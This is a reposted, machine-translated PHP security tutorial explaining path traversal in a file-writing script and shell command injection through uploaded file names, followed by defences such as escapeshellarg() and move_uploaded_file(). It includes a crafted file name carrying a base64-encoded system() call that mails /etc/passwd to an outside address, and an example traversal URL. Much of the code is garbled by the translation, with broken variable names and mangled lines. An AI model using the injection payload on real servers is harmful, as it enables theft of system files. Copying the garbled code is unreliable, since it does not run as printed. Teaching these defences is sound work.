PHP security and related

Source: Internet
Author: User
Tags zip extension
PHP security and related. read about PHP security and related topics, the importance of focusing on security issues is far from all that prevents users from maliciously damaging your program. The most effective but often overlooked method is to consider its possibility when writing code. It is important to pay attention to possible security issues in the code. Consider the following instance function to simplify the process of writing a large number of text files into PHP "> <LINKhref =" http://www.php100.c

Pay attention to the importance of security issues
Far from all

The most effective but often overlooked way to prevent users from maliciously damaging your program is to consider its possibility when writing code. It is important to pay attention to possible security issues in the code. Consider the following example function to simplify the process of writing a large number of text files into PHP:

Function write_text ($ filename, $ text = ""){
Static $ open_files = array ();
// Close all files if the file name is empty
If ($ filename = NULL ){
Foreach ($ open_files as $ fr ){
Fclose ($ fr );
}
Return true;
}
$ Index = md5 ($ filename );
If (! Isset ($ open_files [$ index]) {
$ Open_files [$ index] = fopen ($ filename, "a + ");
If (! $ Open_files [$ index]) return false;
}
Fputs ($ open_files [$ index], $ text );
Return true;
}
?>

This function has two default parameters: the file name and the text to be written to the file.
The function first checks whether the file has been opened. If yes, the original file handle is used. Otherwise, it will be created on its own. In both cases, the text is written into the file.
If the file name passed to the function is NULL, all open files will be closed. The following provides an instance for use.
If the developer writes multiple text files in the following Edge format, this function will be much clearer and easier to read.
Let's assume that this function exists in a separate file, which contains the code to call this function.
Below is a program called quotes. php:



Include_once ('write _ text. php ');
$ Filename = "/home/web/quotes/{$ _ GET ['quote']}";
$ Quote_msg = $ _ GET ['quote _ text'];
If (write_text ($ filename, $ quote_msg )){
Echo"

Quote saved! ";
} Else {
Echo" Error writing quote ";
}
Write_text (NULL );
?>

As you can see, this developer uses the write_text () function to create a system so that users can submit their favorite sayings that will be stored in a text file.
Unfortunately, developers may not have imagined that this program also allows malicious users to endanger the security of web servers.
Maybe now you're scratching your head to figure out how this seemingly innocent program introduces security risks.
If you cannot see it, consider the URL below and remember that this program is called quotes. php:

Http://www.somewhere.com/fun/quotes.php? Quote = different_file.dat & quote_text = garbage + data

What will happen when this URL is passed to the web server?

Obviously, quotes. php will be executed. However, a new file named different_file.dat will be created instead of writing a motto to one of the three files we want, it contains a string garbage data.

Obviously, this is not what we want. malicious users may specify the quote .. /.. /.. /etc/passwd to access the UNIX password file and create an account (although this requires the web server to run the program as a superuser, if so, you should stop reading and fix it immediately ).
If/home/web/quotes/can be accessed through a browser, the most serious security problem of this program may be that it allows any user to write and run any PHP program. This will bring endless troubles.

Here are some solutions. If you only need to write some files in the directory, you can use an array to store the file name. If the file entered by the user exists in this array, it can be safely written. Another idea is to remove all characters that are not numbers or letters to ensure that there is no directory separator. Another way is to check the file extension to ensure that the file will not be executed by the web server.

The principle is simple. as a developer, you must consider more when running programs as you want.

What happens if illegal data enters a form element? Can malicious users run your program in an unwanted way? How can we prevent these attacks? Your web server and PHP programs are only secure in the weakest security chain, so it is important to check whether these links may be insecure.

Common security-related errors
Here are some key points, a brief incomplete list of coding and management errors that may compromise security

Error 1. Trusted Data
This is the topic of my discussion on PHP program Security. you must never trust a piece of data from outside. No matter whether it comes from user-submitted forms, file system files or environment variables, no data can be simply taken for granted. Therefore, user input must be verified and formatted to ensure security.

Error 2. Store sensitive data in the web Directory
Any and all sensitive data should be stored in a file independent of the program that requires data, and stored in a directory that cannot be accessed through a browser. When sensitive data needs to be used, include it in the appropriate PHP program using the include or require statement.

Error 3. Do not use recommended security measures
The PHP manual contains the complete section on security when using and writing PHP programs. The manual also (almost) uses cases to clearly explain when potential security risks exist and how to minimize them. Another example is that malicious users rely on developers' and posts' mistakes to obtain security information of interest to obtain system permissions. Pay attention to these warnings and take appropriate measures to reduce the possibility that malicious users may cause real damage to your system.
Execute system call in PHP
There are many methods in PHP to execute system calls.

For example, the system (), exec (), passthru (), popen (), and ') operators allow you to execute system calls in your program. Improper use of the above functions opens the door for malicious users to execute system commands on your server. For example, in most cases, a security vulnerability occurs when a file is accessed due to unreliable external input.

An example program called by the system
Consider a program for processing http file uploads. it uses a zip program to compress the file and then moves it to the specified directory (/usr/local/archives/by default /). The code is as follows:
$ Zip = "/usr/bin/zip ";
$ Store_path = "/usr/local/archives /";

If (isset ($ _ FILES ['file']) {
$ Tmp_name = $ _ FILES ['file'] ['tmp _ name'];
$ Cmp_name = dirname ($ _ FILES ['file'] ['tmp _ name']).
"/Too many _files}'file'{'name'{}.zip ";
$ Filename = basename ($ cmp_name );

If (file_exists ($ tmp_name )){
$ Systemcall = "$ zip $ cmp_name $ tmp_name ";
$ Output = '$ systemcall ';

If (file_exists ($ cmp_name )){
$ Savepath = $ store_path. $ filename;
Rename ($ cmp_name, $ savepath );
}
}
}
?>

Although this program looks quite easy to understand, malicious users can exploit it in some ways. The most serious security problem occurs when we execute the compression command (via the 'operator), which can be clearly seen in the following line:

If (isset ($ _ FILES ['file']) {
$ Tmp_name = $ _ FILES ['file'] ['tmp _ name'];
$ Cmp_name = dirname ($ _ FILES ['file'] ['tmp _ name']).
"/Too many _files}'file'{'name'{}.zip ";

$ Filename = basename ($ cmp_name );

If (file_exists ($ tmp_name )){
$ Systemcall = "$ zip $ cmp_name $ tmp_name ";
$ Output = '$ systemcall ';
...
Cheat programs execute arbitrary shell commands
Although this code looks safe, it may cause any user with file Upload permission to execute arbitrary shell commands!

To be precise, this security vulnerability comes from assigning values to the $ cmp_name variable. Here, we want the compressed file to use the file name (with the. zip extension) uploaded from the client ). We used $ _ FILES ['file'] ['name'] (which contains the file name when the file is uploaded to the client ).

In this case, malicious users can upload a file containing special characters on the underlying operating system for their purposes. For example, what if a user creates an empty file in the following format? (UNIX shell prompt)
[User @ localhost] # touch "; php-R' $ code = base64_decode (
"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxjwl3bhc3n3za = ");
System ($ code );';"
This command creates a file named below:

; Php-R' $ code = base64_decode (
"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxjwl3bhc3n3za = ");
System ($ code );';
Looks strange? Let's take a look at this "file name". we found that it is similar to using PHP in the CLI version to execute the following code command:

$ Code = base64_decode (
"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxjwl3bhc3n3za = ");
System ($ code );
?>

If you show the content of the $ code variable out of curiosity, you will find that it contains the mailbaduser@somewhere.com </etc/passwd. If you pass the file to the program and PHP executes the system call to compress the file, PHP will actually execute the following statement:

/Usr/bin/zip/tmp/; php-r
'$ Code = base64_decode (
"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxjwl3bhc3n3za = ");
System({code=}'{.zip/tmp/phpY4iatI
Surprisingly, the above command is not a statement but three! Since UNIX shell interprets semicolon (;) as the end of a shell command and the start of another command, except when the semicolon is in quotation marks, PHP's system () will actually execute the following:

[User @ localhost] #/usr/bin/zip/tmp/
[User @ localhost] # php-r
'$ Code = base64_decode (
"Bwfpbcbiywr1c2vyqhnvbwv3agvyzs5jb20gpcavzxjwl3bhc3n3za = ");
System ($ code );'
[User @ localhost] #. zip/tmp/phpY4iatI
As you can see, this seemingly harmless PHP program suddenly becomes a backdoor for executing arbitrary shell commands and other PHP programs. Although this example only works on PHP systems with the CLI version in the path, other methods can be used to achieve the same effect.

Defend Against system call attacks

The key here is that the input from the user, regardless of the content, should not be believed! The problem is still how to avoid similar situations when using system calls (except for not using them at all. To defend against such attacks, PHP provides two functions: escapeshellarg () and escapeshellcmd ().

The escapeshellarg () function is designed to remove potentially dangerous characters from user input (in our example, a zip command) that is used as a parameter for system commands. The syntax of this function is as follows:

Escapeshellarg ($ string)
$ String is the input used for filtering, and the returned value is the filtered character. During execution, this function will add single quotation marks on both sides of the character and escape the single quotation marks in the original string (added before it ). In our routine, if we add these lines before executing the system command:

$ Cmp_name = escapeshellarg ($ cmp_name );
$ Tmp_name = escapeshellarg ($ tmp_name );
We can avoid this security risk by ensuring that the parameters passed to the system call have been processed and are user input with no other intentions.

Escapeshellcmd () is similar to escapeshellarg (), but it only escapes characters that have special significance for the underlying operating system. Unlike escapeshellarg (), escapeshellcmd () does not process spaces in the content. For example, when escapeshellcmd () is used for escape
$ String = "'Hello, world! '; Evilcommand"
Will be changed:

'Hello, world'; evilcommand
If this string is used as a system call parameter, it still cannot get the correct result, because shell will interpret it as two separate parameters: 'Hello and world'; evilcommand. If you enter the parameter list for system calls, escapeshellarg () is a better choice.
Protect uploaded files
Throughout the article, I have been focusing only on how system calls are hijacked by malicious users to produce undesirable results.
However, another potential security risk is worth mentioning. Then we can see our routines and focus your attention on the following lines:

$ Tmp_name = $ _ FILES ['file'] ['tmp _ name'];
$ Cmp_name = dirname ($ _ FILES ['file'] ['tmp _ name']).
"/Too many _files}'file'{'name'{}.zip ";

$ Filename = basename ($ cmp_name );
If (file_exists ($ tmp_name )){
One potential security risk caused by the code lines in the above snippet is that the last line determines whether the uploaded file exists (with the temporary file name $ tmp_name ).

This security risk does not come from PHP itself, but is that the file name saved in $ tmp_name is not actually a file, but a file that malicious users want to access, such as/etc/passwd.
To prevent this, PHP provides the is_uploaded_file () function, which is the same as file_exists (), but also checks whether the file is actually uploaded from the client.

In most cases, you need to move the uploaded files. PHP provides the move_uploaded_file () function to work with is_uploaded_file (). This function is used to move a file like rename (), but it will automatically check before execution to ensure that the object to be moved is an uploaded file. The syntax of move_uploaded_file () is as follows:

Move_uploaded_file ($ filename, $ destination );
During execution, the function moves the $ filename file to the destination $ destination and returns a boolean value to indicate whether the operation is successful.

Note: John Coggeshall is a PHP consultant and author. He has been sleeping for PHP for about five years.
Http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.